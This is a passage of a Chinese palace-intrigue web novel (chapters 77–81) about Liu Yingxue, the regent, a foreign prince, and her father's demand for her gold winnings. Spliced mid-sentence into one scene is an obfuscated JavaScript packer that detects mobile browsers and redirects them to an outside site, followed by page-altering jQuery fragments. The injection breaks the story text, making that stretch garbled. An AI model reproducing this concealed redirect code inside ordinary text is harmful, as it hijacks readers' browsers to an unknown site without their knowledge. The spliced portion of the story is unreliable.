“映雪,驸马爷方才让人传话,说是请了戏班子。若是赏梅疲乏,可去听曲。”李婉柔说道,“不过长公主在看秦大小姐的伤势,怕是无心听曲了。你待如何?” “我身子不适,怕是要先行告退。”柳映雪微微一笑。比起听什么曲,还是回府陪娘亲更好。况且今日之事,她需要好好梳理一番。 她抬眼望向远处高处的亭台。两个锦衣华服的男子正坐在那里,想必是皇子或世子。虽看不清面容,只是那淡淡的目光,却让她如芒在背。其中一人手执玉箸,正在棋盘上落子,另一人则靠在栏杆上,似乎在观察着什么。 再看不远处的亭台,已是人满为患。柳书兰正焦急地四处张望,似在寻人。她身边围着几个世家小姐,不时低声说着什么。 亭中的气氛渐渐变得微妙起来。卢芷柔虽不再开口,但那双眼睛始终若有若无地打量着柳映雪。李盼春则一直低着头,似乎在想什么心事。 “天色也不早了,我也该回去了。”李婉柔起身道,“映雪,要不要一起?” 柳映雪正欲应声,却见一个小丫鬟匆匆跑来,在卢芷柔耳边低语几句。卢芷柔脸色微变,随即恢复如常。 “各位慢走,我还有些事要处理。”卢芷柔起身告辞,裙摆带起一阵香风。 柳映雪与众人寒暄片刻,便起身告辞。走出亭子时,她注意到李盼春欲言又止的神情,但终究没有开口。 坐上马车后不久,她便察觉到身后有人跟随。但很快,那道气息便消失不见。马车行驶的速度并未减慢,但她能感觉到外面发生了什么。 原来是绿竹他们拦下了那辆跟踪的马车。 车内坐着的正是西幽国二皇子与其侍卫司平。二皇子一身玄色锦袍,腰间配着一柄玉剑,神色淡然。 “诸位为何拦住本公子去路?”二皇子沉声问道,目光在绿竹等人身上扫过。 绿竹等人二话不说,拔剑而上。剑光闪烁间,招招凌厉,却又似有所保留,更像是在拖延时间。司平见状,立即挡在二皇子身前,与绿竹等人缠斗起来。 一时间,剑影重重,金铁交鸣之声不绝于耳。绿竹等人配合默契,将二皇子的马车团团围住。但细心之人便能发现,他们并非是要伤人,而是在阻止二皇子继续前行。 待时间差不多,绿竹打了个手势,众人便迅速撤离。留下二皇子站在原地,若有所思地望着柳映雪马车离去的方向。 远处亭台内,三皇子与澄世子正低声密谈。两人都是一身华服,气度不凡。 “生玉,那柳大小姐,你可看出什么端倪?”三皇子把玩着手中的玉箸。 “她写诗时我仔细观察过,并不像是病弱之人。反倒像是有些武功在身。”萧生玉沉吟道,“而且她的举止言谈,也不似寻常闺秀那般单纯。” “要不要试探一番?”三皇子兴奋的说道。 “不急。”萧生玉沉吟道,“年宴之后再做打算。眼下最要紧的是西幽国那位公主。她来历不明,行事诡异,必须先弄清楚她的目的。” 三皇子傲然一笑:“区区一个西幽公主,还不是手到擒来?本皇子自有办法对付她。” “三哥慎重。那公主表面温柔,其实心思狠毒得很。据说在西幽国时,就有不少人死在她手上。”萧生玉提醒道。 “越是如此,本皇子越要让她臣服。”“不过柳映雪那边,也得多加注意。这两个女人,都不简单。” 西幽国二皇子司徽风站在街道上,目送着那群黑衣人离去的背影。嘴角勾起一抹若有若无的笑意。夜色渐深,街道两旁的灯笼在风中轻轻摇曳,将他的身影拉得很长。 “二皇子...”身旁的司平神色凝重,声音压得极低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505542|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“这些人的身手不简单,招式间带着青云国皇家侍卫的路数,但他们似乎只是想阻拦我们,并无伤人之意。” 司徽风轻轻拂去肩上的尘土,目光落在不远处的街角。街边的茶摊已经收摊,老板正在收拾碗筷,却不时用余光瞥向这边。更远处的屋檐下,几个黑影一闪而过。 “阻拦?”他冷笑一声,伸手指向不远处,“你觉得这是单纯的阻拦?” 司平顺着他指的方向看去,只见那辆雕刻着精美花纹的马车已经断成两截,车夫摔在地上痛苦地呻吟着。受惊的马匹早已撒腿狂奔,马蹄声渐渐消失在夜色中。车厢里的丝绸软垫和锦被散落一地,在风中凌乱地翻滚着。 “这...这...”司平瞪大了眼睛,额头渗出冷汗。他想起方才那些黑衣人出手时的凌厉,不由得后怕,“若是我们坐在车上...” “若是我们坐在车上,现在怕是已经去见阎王了。”司徽风接过话头,语气中带着几分讥讽,“这是警告,警告我们离柳大小姐远点。若不是顾忌我们西幽国的身份,担心引发两国冲突,恐怕现在我们已经是两具尸体了。” 夜风吹过,带来一阵凉意。司平打了个寒颤,低声道:“二皇子,在这青云国,能如此明目张胆的,除了现在的皇上,就只有...” “摄政王萧寒瑾。” “没想到他这次竟对一个女子如此上心。不过...”司徽风顿了顿,想起今日在诗会上见到的那抹倩影,“那柳大小姐确实不同寻常。才华横溢,诗词绝伦,容貌更是倾城。本皇子见过的美人不少,却还未见过比她更出众的。” “二皇子!”司平急切地提醒道,脸上写满担忧,“我们此行是为了查探赤凰剑的下落,再过一段时间西幽的使者就会来了,到时您的一举一动都会被监视。若是被人发现我们的真实目的...” 第七十七章 王妃才华横溢 司徽风摆了摆手,打断了他的话:“本皇子知道轻重。与柳大小姐相见的机会以后有的是,咱们先回客栈吧。”说着,他整了整衣袍,大步向前走去。 司平连忙跟上,心中却难以平静。他看了看四周,总觉得暗处还有人在盯着他们。这种被监视的感觉让他如芒在背。 柳映雪的马车已经抵达清溪居。 她刚下车,就看见娘亲的贴身丫鬟柳晓在门口来回踱步。月光下,柳晓的身影显得有些焦躁不安。 “小姐可算回来了!”柳晓快步迎上前,提着的灯笼在夜风中摇晃,“夫人可是忧心忡忡,让奴婢守在这里好久了。” 柳映雪闻言,连忙快步往内院走去。脚下的青石板路被月光照得发亮,两旁的花木在夜风中沙沙作响。 果然,朱氏正站在院门口张望。她身上披着一件淡紫色的披风,发间的珠钗在月光下泛着柔和的光。看见女儿平安归来,她脸上立刻绽放出笑容:“雪儿,你终于回来了!再不回来,娘就要亲自去公主府找人了。” “娘亲~”柳映雪撒娇似的抱住朱氏的胳膊,感受着母亲身上传来的温暖,“女儿这不是好好的吗?” 朱氏摸了摸女儿的手,蹙眉道:“手都凉了,快进屋暖暖。”说着,她拉着女儿往屋内走去。 屋内烛火摇曳,驱散了夜晚的寒意。柳映雪坐在软榻上,看着满屋温暖的灯光,心中一阵感动。 “娘亲,今日在长公主府,女儿可是赚了十万两黄金哦!”她笑着说道,眼中闪烁着得意的光芒。 朱氏宠溺地笑道:“娘就知道雪儿真厉害。柳晓,把膳食端上来吧。” “娘亲怎么会知道女儿饿了呢?” “这种宴会规矩多,处处要小心,哪有心思好好用膳?”朱氏心疼地看着女儿,伸手轻轻抚过她的发,“快去吃点东西吧。” 柳晓很快端来了几道精致的菜肴,都是柳映雪平日最爱吃的。看着满桌佳肴,闻着熟悉的香气,柳映雪心中暖暖的。在外再多烦恼,回到家中,有娘亲的关怀,有可口的美食,一切烦忧都烟消云散了。 “雪儿,”朱氏看着女儿狼吞虎咽的样子,忍不住提醒道,“慢点吃,别噎着。” 柳映雪点点头,放慢了速度。她一边吃着,一边将今日在诗会上的见闻说给母亲听。说到精彩处,她的眼睛亮晶晶的,像是会发光一般。 朱氏静静地听着,时不时给女儿夹菜。但她的眼底深处,却闪过一丝难以察觉的忧虑。 摄政王府书房内。 萧寒瑾正专注地看着桌上的诗词。烛光下,那些字迹如同游龙般灵动,每一笔每一画都透着独特的韵味。 “王爷,”东方辉看着那些诗作,啧啧称奇,“王妃才华惊人啊!这些诗词无一不是上品,就连当今大才子也难以企及。” 萧寒瑾没有理会,只是专注地欣赏着柳映雪亲笔所书的诗作,指尖轻轻抚过那铁画银钩般的字迹。烛光映照在他俊美的侧脸上,让人看不清他的表情。 绿竹推门进来,恭敬地禀报:“王爷,已经按您的吩咐拦下了西幽二皇子。” “继续盯着。”萧寒瑾淡淡道,目光依旧停留在诗作上。 “是。”绿竹应声退下。 “王爷,”东方辉压低声音,凑近了几分,“西幽诸生最近似有异动...” “半月之内他们不会轻举妄动,”萧寒瑾眼中闪过一丝冷意,“不过这些年西幽确实有些不安分。” 东方辉欲言又止,看了看书房内的烛火,又看了看案几上的诗作。最终,他轻叹一声,退出房间。 东方辉匆匆离开王府,脚步匆忙却不失优雅。他的身影在街道上投下一道修长的剪影,仿佛连空气都因他的存在而凝滞。 凤栖楼内,觥筹交错,笑语喧哗。东方辉站在楼下,抬头望着那扇雕花木窗。他整了整衣袍,迈步走上楼梯。 摄政王府内。 绿风快步穿过回廊,脚步声在寂静的庭院中格外清晰。推开书房门时,他看到王爷正专注地看着手中的诗词。 “王爷,华神医已回府。”绿风微微躬身。 萧寒瑾手中捧着一卷诗词,纸张泛黄,边角微微卷起。他只是轻轻抬眸,目光依旧停留在字里行间。 绿风等了片刻,见王爷没有开口的意思,这才继续道:“华神医在药铺与一名南安打扮的小厮有过短暂接触。那小厮身着藏青色短打,腰间系着一条暗红色腰带,看起来有些年头了。” “后来呢?”萧寒瑾的声音淡淡的,仿佛对这件事并不太在意。 “那小厮进了一处宅院,至今未出。属下派人守在四周,只要他一出来就会立即跟上。”绿风顿了顿,“只是属下离得较远,未能听清他们的谈话内容。” 萧寒瑾终于放下手中的诗词,指尖轻轻摩挲着纸张边缘:“继续盯着。” “还有一事,”绿风往前走了一步,“悬壶山庄谷主派了几名弟子来参加宫中年宴,想必她们会拜访师叔华神医。” 书房内一时寂静,只有窗外传来几声鸟鸣。 “哪几位弟子?”萧寒瑾终于开口,声音里带着一丝若有若无的兴味。 “是谷主的二徒弟、三徒弟,还有几位外门弟子在护送。据说她们带来了不少珍贵药材,准备献给皇上。” “嗯。”萧寒瑾轻应一声,目光落在窗外的梅树上。几朵红梅在寒风中摇曳,散发着淡淡的幽香。 “王爷,要派人监视她们吗?”绿风小心翼翼地问道。 “不必,”萧寒瑾的声音依旧平静,“她们无非是来给皇上献上丹药,若有异常再说。” “是。” “退下吧。” 绿风转身离开前,忍不住多看了一眼王爷手中的诗词。那泛黄的纸张上隐约可见几个飘逸的字迹,却看不清具体内容。他心中暗自揣测,这究竟是何等佳作,竟让向来淡漠的王爷如此入神。 第七十八章 各方反应 清溪居内,柳映雪摸着微微鼓起的肚子,看着面前几个空空如也的瓷盘,不禁露出一丝不好意思的笑容。 “娘亲的手艺太好了,女儿一不小心就吃撑了。”她的声音带着几分撒娇的意味。 朱氏坐在对面,眼中满是慈爱。她看着女儿红润的脸色,心中涌起一阵欣慰:“你这个年纪正该多吃些。以前娘亲最担心你吃不下,现在看你胃口这么好,我也就放心了。” “娘亲放心,女儿以后一定会越来越健康的。”朱映雪笑着说道,眼角眉梢都带着几分甜蜜。 “好孩子。”朱氏轻轻拍了拍女儿的手,掌心的温暖传递着母亲的关爱。 柳映雪看着窗外的景色,忽然问道:“娘亲,新府邸都收拾妥当了吗?” “嗯,明日我再去看看。”朱氏整理着桌上的碗筷,“管家说隔壁也住进了新邻居。” 柳映雪挑眉一笑:“娘亲可知是谁家?” 朱氏摇头:“不知道。” “日后自然就知晓了。”柳映雪的语气里带着几分神秘。 “认不认识都无妨,我又不常出门。”朱氏说着,又给女儿添了一碗汤。 柳映雪眨了眨眼:“那可不一定哦。” 随后,她将今日在公主府的见闻挑重点说给母亲听。说到精彩处时,她的手势也跟着活跃起来,仿佛在重现当时的场景。只是把酒杯下毒一事略过不提,她不想让母亲担心。 朱氏听完仍心有余悸,眉头微皱:“那秦小姐的脸烫伤了,岂不是......” “是啊,怕是要留疤了。”柳映雪的语气平淡,仿佛在说一件与己无关的事。 “雪儿,以后这种场合能推就推了吧,实在推不掉也要万分小心。”朱氏握住女儿的手,声音里满是担忧。 “娘亲放心。”柳映雪安慰道。 想到秦玉华的事,柳映雪从袖中取出字据,纸张上的墨迹已经干透:“柳晓,让管家带着柳川去秦府取那十万两黄金。” “是,小姐。”柳晓恭敬应道。 “若他们说明日再取,就让管家告诉他们,直接送到摄政王府便是。”柳映雪的声音带着几分冷意。 柳晓领命而去,脚步声渐渐远去。 此刻的秦府已经乱成一锅粥。院子里仆人来来往往,脚步匆忙。秦帝师得知孙女被烫伤,立即派人接回,又亲自入宫请御医诊治。 秦玉华躺在床上,疼得哭喊不止。她那张原本娇艳的脸此刻已经变得通红肿胀,水泡密密麻麻地布满了半边脸颊。御医诊毕,摇头叹息:这张娇嫩的脸怕是要留下永久的疤痕了。 秦帝师坐在书房,愁眉不展。烛光在他脸上投下深深的阴影,显得他更加苍老。他最忧虑的便是孙女与三皇子的婚事,这毁了容的正妃,三皇子还会要吗? 管家进来禀报柳府来人取黄金一事,秦帝师更是暴跳如雷。他猛地站起身,茶杯被打翻,茶水洒了一桌。 他本想让柳府明日再来,好借机败坏柳映雪的名声。谁知对方早已算计周全,若不今日给出,明日就要送去摄政王府。这一招,可谓是将死了他秦府。 秦帝师站在窗前,看着院子里忙碌的身影,心中五味杂陈。不仅输了十万两黄金,更输了孙女的未来。 另一边,柳书兰一路小跑着回到丞相府,裙摆在风中翻飞,脸颊因为急切而泛起红晕。她迫不及待地想要将公主府发生的一切告诉父亲和二夫人。 穿过重重庭院,她看到父亲正在书房与二夫人说话。“父亲!”柳书兰推开房门,声音里带着掩饰不住的激动,“您知道吗?大姐她...” 话未说完,就被二夫人司氏打断:“书兰,怎么这般毛毛躁躁的?成何体统!” 柳书兰这才意识到自己的失态,连忙整理了一下衣裙,缓缓走到父亲面前行礼。但她的眼中依然闪烁着兴奋的光芒,迫不及待地想要分享消息。 “父亲,大姐她在公主府一口气写出一百首诗词!”柳书兰的语气中带着几分不甘和嫉妒,“她以前在府里装病,背地里却偷偷学了这么多。连长公主都说她是京都城第一才女了。” 柳丞相放下手中的茶盏。他太了解长公主的性格,那位高傲的公主向来眼高于顶,能得到她的赞赏,说明大女儿确实不简单。再加上皇上特意叮嘱要把人接回府中... 书房内一时陷入沉默,只有檀香袅袅升起。柳丞相站起身,踱步到窗前。院中的梧桐树叶随风摇曳,投下斑驳的树影。自从与朱氏分开后,丞相府日渐萧条。老太君病倒数次,他自己也大不如前。若能把大女儿牢牢掌控,或许能重振府中声势。 “父亲!”柳书兰见父亲走神,连忙提醒,“姐姐赢得了十万两黄金呢!她再怎么说也是丞相府的嫡女,这笔钱是不是该归府里?” 柳丞相转过身,目光灼灼,“说得对。虽然我与朱氏和离,但映雪终究是丞相府的嫡女,这笔钱理应归府中所有。” 二夫人司氏听到这话,抬手掩了掩嘴角的笑意,温声细语道:“老爷,明轩马上就要回来了。他在外求学真不容易,如今府中拮据,我担心会委屈了他。他可是府里唯一的嫡子啊。” 话音刚落,门外传来脚步声。高姨娘端着一盘新鲜的点心走了进来,她穿着月白色的襦裙,发髻简单却不失优雅。自从她照顾老太君有功,柳丞相对她越发亲近。这些日子更是让她常伴左右,显然是有意提升她的地位。 “老爷,这是刚做好的桂花糕,您尝尝。”高姨娘将点心放在案几上,目光温柔地看着柳丞相。 司氏见状,眉头微皱。她想起当初自己也是这般对待朱氏,如今风水轮流转,轮到她尝到这滋味了。 “二夫人,”高姨娘轻声开口,“逸铭也要回来了,他也是老爷的孩子。” 第七十九章 丞相府都是嫡子 司氏立刻变了脸色,“一个庶子也敢与嫡子相提并论?本夫人与老爷聊聊天,哪有你插嘴的份?” 高姨娘眼圈立刻红了,泪眼婆娑地看向柳丞相,“老爷,我只是想提醒一下。逸铭虽是庶出,却也是老爷的骨肉。他那么聪明懂事,像极了老爷年轻时的模样...” 她说着,眼泪就要落下来。柳丞相见状,连忙起身走到她身边,轻轻拍着她的后背。这一幕让司氏心中怒火中烧,指甲深深掐进掌心。 “司氏,”柳丞相正色道,“从今天起你就是丞相府的夫人,高氏为二夫人。逸铭也是嫡子,府中不再有庶子之分。” 两人应声退下,但谁都看得出来,这场争斗才刚刚开始。司氏回到自己院子,狠狠摔碎了一只茶盏。她不甘心,凭什么一个姨娘也能与自己平起平坐? 高姨娘则回到自己的小院,对着铜镜仔细梳理头发。她知道,机会已经来了,只要把握住,就能让儿子真正成为嫡子。 次日一早。 柳丞相踱步到窗前,想起书兰提到的十万两黄金,眉头微皱。他转身对管家吩咐道:“备车去秦府取银子。本相要替大女儿讨回这笔钱。” 管家应声而去,马车很快就备好了。柳丞相看着管家离开的背影,心中暗暗盘算。这笔钱若能要回来,不仅能平息司氏的怒火,还能让书兰在府中站稳脚跟。 清溪居中,柳映雪站在院子里,看着两车黄金被搬进来。阳光下,金元玉闪烁着耀眼的光芒。她嘴角微微上扬,早就料到秦帝师不会食言。 朱氏坐在廊下的藤椅上,手中的茶盏轻轻晃动。她看着忙碌的下人们,语气淡然:“雪儿,。不用入库,你想用就直接取。” “娘。”柳映雪走到朱氏身边,轻声说道。 朱氏放下茶盏,伸手抚摸着女儿的发丝,“你自己留着。想买什么就买,。”她温柔地看着女儿,眼中满是慈爱,“不够娘再给你。” 柳映雪忍不住抽了抽嘴角。她本就衣食无忧,要这么多银子作甚?不过,既然有了这笔钱,。她的目光落在远处的茶园上,心中已有了打算。 待管家将箱子都搬入厢房,柳映雪屏退下人,将金元玉尽数收入空间。这是她最安全的保险箱。她坐在梳妆台前,手指轻轻敲击着桌面,思考着接下来的计划。 秦府门前,丞相府管家正和秦府管家争得面红耳赤。 “你们丞相相府也太不要脸了!”秦府管家怒道,脸上的横肉都在抖动,“柳大小姐刚取走十万两,你们又来要?当我们是冤大头不成?” 丞相府管家被这话噎得说不出话来,只能灰溜溜地回府禀报。 柳丞相听罢大怒,一把将茶盏摔在地上。碎片四溅,茶水洒了一地。他站起身,大步走到堂中,“备马车,明日本相亲自去清溪居接大小姐回府!” 司氏闻言大喜。只要柳映雪回府,那十万两黄金不就到手了?她已经开始盘算着该如何支配这笔钱。 柳书兰却暗自不悦。她站在廊下,手指不自觉地绞着衣袖。柳映雪若回府,她这个大小姐的位置岂不是又要让出去?想到这里,她咬了咬唇,转身快步离开。 柳丞相的马车已经驶出了城门,向清溪居驶去。车厢里,他的脸色阴晴不定。这次必须把柳映雪带回府中,否则司氏那边怕是不好交代。 马车在官道上疾驰,扬起阵阵尘土。路边的行人纷纷避让,指指点点地议论着。 晨光熹微,茶楼二层已有了两道身影。窗外的雾气还未散尽,朦胧中透着几分清冷。 玉太子慵懒地靠在檀木椅背上,手指有一下没一下地敲击着茶盏边缘,目光饶有兴致地看着对面那个闷闷不乐的姑娘。她眉头微蹙,时不时望向楼下的街道,一副心事重重的模样。 “小二,再来壶茶。”他抬手唤道,声音里带着几分漫不经心。 东玉琳正懊恼着,昨日在这里坐了整整一天,连姐姐的影子都没见着。她揉了揉酸痛的肩膀,暗自叹气。茶楼里飘着淡淡的茶香,混合着楼下传来的油烟气,让她更觉得心烦意乱。 “连孙掌柜都不知道姐姐去了哪里。”她小声嘟囔着,满是失落。 玉太子忽然笑出声来,那笑声中带着几分戏谑:“你这傻丫头,昨日公主府办赏梅宴,柳大小姐自然是去赴宴了。” 东玉琳猛地抬头,眼中冒火。她指着玉太子的鼻子,声音因愤怒而微微发颤:“你昨天就知道?你分明看到我在这里干等,却一句话都不说!” “本公子为何要告诉你?”玉太子端起茶盏轻啜一口,眼中带着几分玩味,“再说,谁能想到你竟真能在这里坐上一整天?当真是...”他故意拖长了声调,“傻得可爱。” “你这只花蝴蝶,心肠太歹毒了!”东玉琳气得脸都红了,双手紧握成拳,恨不得冲上去给这个可恶的男人一拳。 “咳咳——”玉太子被这话呛得喷出一口茶水,洒了玉七一身。茶水在玉七的衣襟上晕开一片深色的水渍。 玉七默默地掏出手帕擦拭衣襟,又赶忙去给自家主子拍背顺气。他的动作熟练得令人心疼,显然这样的场面并不少见。 “本公子警告你,不许叫我花蝴蝶!”好不容易缓过气来的玉太子瞪着东玉琳。 第八十章 丞相讨要十万两黄金 东玉琳别过头去不理他,目光落在窗外的街道上。行人来来往往,小贩的吆喝声此起彼伏。其实,她也不是非要在这里等姐姐,只是...身上已经没有银钱了。 看着她落寞的样子,玉太子心中微动。这丫头虽然傻了点,但那份执着却让人不由得想要帮她一把。 “若是缺银钱,本公子可以先借你一点。”他状似随意地说道。 东玉琳眼睛一亮,但很快又警惕起来:“真的?” “自然是真的,不过...”玉太子露出狡黠的笑容,“有个条件。” “本小姐可不打算当你的侧妃!”东玉琳立刻提高了声调,引得楼下几个客人纷纷抬头张望。 “呵,就你这样的,本公子还不稀罕。”玉太子嗤笑一声,“在我府上怕是活不过三天。” 东玉琳气得直跺脚,裙摆随着她的动作轻轻摆动。她承认自己有时候是有点傻,但也不至于这么不堪吧? “条件是这样的,”玉太子正色道,“你在青云国期间,当本公子的丫鬟,本公子借你两百两银子。” “五百两!”东玉琳脱口而出。 “三百两。”玉太子眯起眼睛。 “四百两!” “成交。” 东玉琳愣了片刻,才意识到自己上当了。她懊恼地跺了跺脚:“你太无耻了!” “爱借不借。”玉太子悠然自得地喝着茶,嘴角挂着得意的笑容。 权衡再三,东玉琳咬牙道:“借!”她心想,等找到姐姐就有办法还这笔钱了。 “很好,”玉太子眼中闪过一丝得逞的笑意,“从现在开始,你就是本公子的丫鬟了。来,给本公子倒茶。” 东玉琳的丫鬟刚要上前,却被玉太子制止:“把你的丫鬟送回去,本公子要你亲自伺候。” 经过一番劝说,丫鬟终于不情不愿地离开了。临走时还担忧地看了东玉琳一眼,生怕这个单纯的小姐吃了亏。 东玉琳伸出手:“银票先给我。” 玉太子示意玉七取出银票。东玉琳接过后,立刻去结清了客栈的账目,又将剩下的交给孙掌柜保管。她想着至少要留个后路,万一这个花蝴蝶欺负她,还能有个退路。 就这样,东玉琳开始了她的丫鬟生涯。她看着玉太子优雅地品茶,心中暗暗发誓,等找到姐姐就要让这个可恶的男人好看。 清溪居中的柳映雪刚用完早膳,正准备去看新府邸。院子里的梅花开得正好,淡淡的香气随风飘散。 “小姐,丞相大人来了。”丫鬟匆匆来报,声音中带着几分紧张。 柳映雪眸光一冷。这个时候,丞相来访必然没有好事。她看了看身边的母亲,只见朱氏脸色也不太好看。 朱氏眼中闪过一丝厌恶,离开丞相府后,她过得逍遥自在,如今又要见到那个令人作呕的男人。想到那些往事,她的手指不自觉地攥紧了手帕。 “让他在前厅等着。”朱氏淡淡道,“就说我们还在用膳。” 柳映雪看着母亲的神色,心中暗暗发誓,总有一天要和这个所谓的父亲断绝关系。只是时机未到,她不能让母亲因此受累。她轻轻握住母亲的手,感受到那微微的颤抖。 前厅中,柳丞相坐立难安。他这趟是为了把大女儿接回家,听说她昨日赢了十万两黄金,这笔钱若是能为丞相府所用... 两盏茶后,朱氏和柳映雪才姗姗来迟。朱氏一身淡青色长裙,端庄优雅;柳映雪则穿着一袭水红色衣裳,更显得明艳动人。 看着愈发明艳动人的前妻,柳丞相心中泛起阵阵悔意。朱氏比那高姨娘不知强了多少倍,端庄优雅,气质出众。只可惜当初被那司氏蛊惑,做出了那等糊涂事。 “丞相大人,不知今日来访,所为何事?”朱氏高坐上首,语气疏离。她的目光淡淡地扫过柳丞相,仿佛在看一个陌生人。 柳丞相强压下心中的不快:“本丞相是来接映雪回府的。”他的目光落在柳映雪身上,“你毕竟是丞相府的大小姐,住在外面总是不太合适。” 柳映雪冷笑一声:“丞相大人这是想起我这个女儿了?还是...”她意味深长地看了柳丞相一眼,“听说了什么风声?” 柳丞相脸色一变,随即又堆起笑容:“你这孩子,怎么和父亲说话也这般生分?” “父亲?”柳映雪轻笑一声,“恐怕丞相大人是想错了吧?当初休弃母亲的时候,可没见您这般慈父。” 朱氏轻轻拍了拍女儿的手,示意她不要说得太过。虽然心中厌恶这个男人,但终究还要在这青云国立足,不能把事情做得太绝。 柳丞相脸上一阵青一阵白,最后勉强挤出一丝笑容:“过去的事就让它过去吧。如今你也长大了,该回府享福了。” “享福?”柳映雪冷笑,“怕是要享高姨娘的白眼,受庶妹的气吧?丞相大人还是请回吧,我和母亲过得很好。” 柳丞相见说服不了女儿,又看了看一言不发的朱氏,心中暗恨。这对母女,怎么就这般不识抬举? 朱家大厅内的气氛凝重得几乎要将人压垮。 柳丞相站在厅中,目光灼灼地盯着眼前的女儿。他本以为这次能轻易将女儿带回府中,却不料朱氏和柳映雪如此强硬。想到此处,他的手指不自觉地捏紧了衣袖。 “丞相大人,你确定要把雪儿接回府?”朱氏冷冷一笑,眼中满是讥讽,“我可是听说,你那丞相府现在已经沦落到靠卖小妾过日子了。这等穷困潦倒的地方,怎配得上我的雪儿?” 这话如同一记耳光,重重地打在柳丞相脸上。他的面色瞬间涨得通红,额头上青筋暴起。 “放肆!简直是胡说八道!”柳丞相怒极反笑,“本相怎会做出这等事?映雪是本相的亲生女儿,本相对你疼爱还来不及呢,岂容你在这里胡言乱语?” 第八十一章 三十万两买断亲情 柳映雪听到这话,纤细的手指轻轻摩挲着茶盏边缘。她抬起头,目光直视着柳丞相,唇角勾起一抹冷笑:“疼爱?父亲大人怕是记错了吧。” “记得以前在府中时,柳书兰常来我房中炫耀。”她的声音越发冰冷,“说父亲多么疼爱她,所有事情都以她为重。甚至连我的嫁妆,都被她拿去打点王府的下人。” 朱氏听到这话,心如刀绞。她紧紧握住女儿的手,眼中泛起泪光。 “她还说,”柳映雪继续道,语气中带着几分讽刺,“父亲在她面前总说我这个病秧子,不如干脆一了百了。怎么,现在又想起来疼爱我了?” 柳丞相被戳中痛处,恼羞成怒地将手中的茶盏重重摔在地上。“啪”的一声脆响,茶水四溅,瓷片四散。 “朱氏!你算什么东西?不过是个商户罢了!”他怒吼道,声音在大厅内回荡,“没有本相,映雪能指婚给摄政王吗?没有本相这个强大的娘家,她在王府能站稳脚跟吗?” 朱氏不慌不忙地拿起茶壶,给自己和女儿各倒了一杯茶。她优雅地抿了一口,这才冷笑着开口:“本夫人手里银子多得很,不需要你这个所谓的娘家。” 她放下茶盏,眯起眼睛:“丞相大人,你是想助摄政王夺得那个位置吗?还是能帮他上战场杀敌?” 柳丞相脸色骤变,慌乱地四下张望:“你这个疯妇!这话是能随便说的吗?若是被有心人听去......” “怎么?”朱氏轻笑一声,“丞相大人这是害怕了?” 柳映雪看着柳丞相惊慌失措的样子。她轻轻放下茶盏,瓷器与桌面相碰发出清脆的声响。 “说吧,你到底想要什么?”柳映雪直接问道,声音清冷,“别在这里虚与委蛇了。” 柳丞相稳了稳心神,整了整衣袍:“要么你跟本相回府,带着那十万两黄金。要么,让朱氏再给本相二十万两银票吧。” “原来父亲是为了这个。”柳映雪轻笑一声,“那不如这样,三十万两买断父女情分如何?从此以后,你我再无瓜葛。” “你!”柳丞相气得脸色铁青,手指颤抖地指着柳映雪,“大逆不道!” “或者,父亲要女儿回府也行。”柳映雪慢条斯理地说,纤纤玉指轻轻拨弄着茶盏,“不过我每月用度要三万两。” “三万两?你疯了不成?”柳丞相瞪大了眼睛,不敢相信自己的耳朵。 “这已经很少了。”柳映雪掰着手指数道,“补品要上千两,流云锦的衣裳每月要好几套,还有首饰、打赏......” 她说得轻描淡写,仿佛这些数目对她来说不过是九牛一毛。 柳丞相听得额头青筋直跳,脸色一阵青一阵白。这那是养女儿,分明是在养祖宗! 柳丞相怒目圆睁,额头上青筋暴起,一张老脸因愤怒而扭曲。他猛地一拳砸在红木桌案上,茶盏里的水都跟着晃动起来,发出清脆的碰撞声。 “低俗!”他咬牙切齿,“你跟朱氏一样,满身铜臭味!若不是丞府大小姐的身份,摄政王会看上你?” 柳映雪站在堂下,看着这个曾经高高在上的父亲此刻失态的模样,心中五味杂陈。记忆中那个威严的父亲形象早已支离破碎,取而代之的是一个被金钱蒙蔽了双眼的可怜人。 朱氏站在女儿身边,紧紧攥着手帕。她看着丈夫狰狞的面容,不由自主地往后退了一步。这个男人,早已不是当年那个意气风发的年轻才子了。 “本王何时说过在意雪儿的身份?” 一道清冷的声音从门外传来,打破了大厅内剑拔弩张的气氛。 柳映雪循声望去,只见萧寒瑾一袭雪白直襟蟒袍,腰间系着月白祥云纹腰带,上面悬着一块墨玉。他缓步走来,周身散发着与生俱来的贵气。每一步都仿佛踏在她的心尖上,让她不由自主地屏住呼吸。 这个男人,怎么一天比一天更好看了?她看得有些出神,直到母亲轻轻碰了碰她的手臂,才回过神来。 众人纷纷跪地行礼。柳映雪扶着母亲朱氏,也跟着屈膝。晓寒料峭,大厅的地面还带着些许凉意,透过薄薄的裙摆渗入肌肤。 “夫人不必多礼。”萧寒瑾快步上前,虚扶了一下朱氏。他的动作优雅从容,却又不失体贴。 朱氏连忙道谢。这位摄政王,确实如传言般温和有礼。柳映雪乖巧地站在母亲身边,看得萧寒瑾嘴角微扬。 待众人落座,萧寒瑾淡淡扫了眼柳丞相头上的伤。那道伤口已经结痂,但还是显得有些狰狞。他的语气冰冷如霜:“丞相大人,本王娶雪儿,与你的官职无关。说句不客气的,你这丞相之位,反倒可能成为雪儿的累赘。” 柳映雪在心里暗暗叫好。这话说得够直接,一针见血。她偷偷瞥了眼父亲的表情,果然看到他脸色铁青。 柳丞相强压怒火,挤出一丝比哭还难看的笑容:“王爷放心,微臣不会拖累雪儿。” “既然如此,”柳映雪开口,声音清亮,“丞相大人,可以回答我刚才的问题了。是选择女儿,依然是三十万两?” 朱氏紧张地看着柳丞相。她的手指无意识地绞着手帕,指节都泛白了。她多希望他能选银子,这样女儿就能彻底摆脱丞相府这个泥潭。 大厅内一时陷入沉默。檀香在铜炉中缓缓燃烧,青烟袅袅上升。柳丞相坐在主位上,眉头紧锁。他完全忘记了皇上的旨意,脑子里只剩下那堆堆金灿灿的银钱。 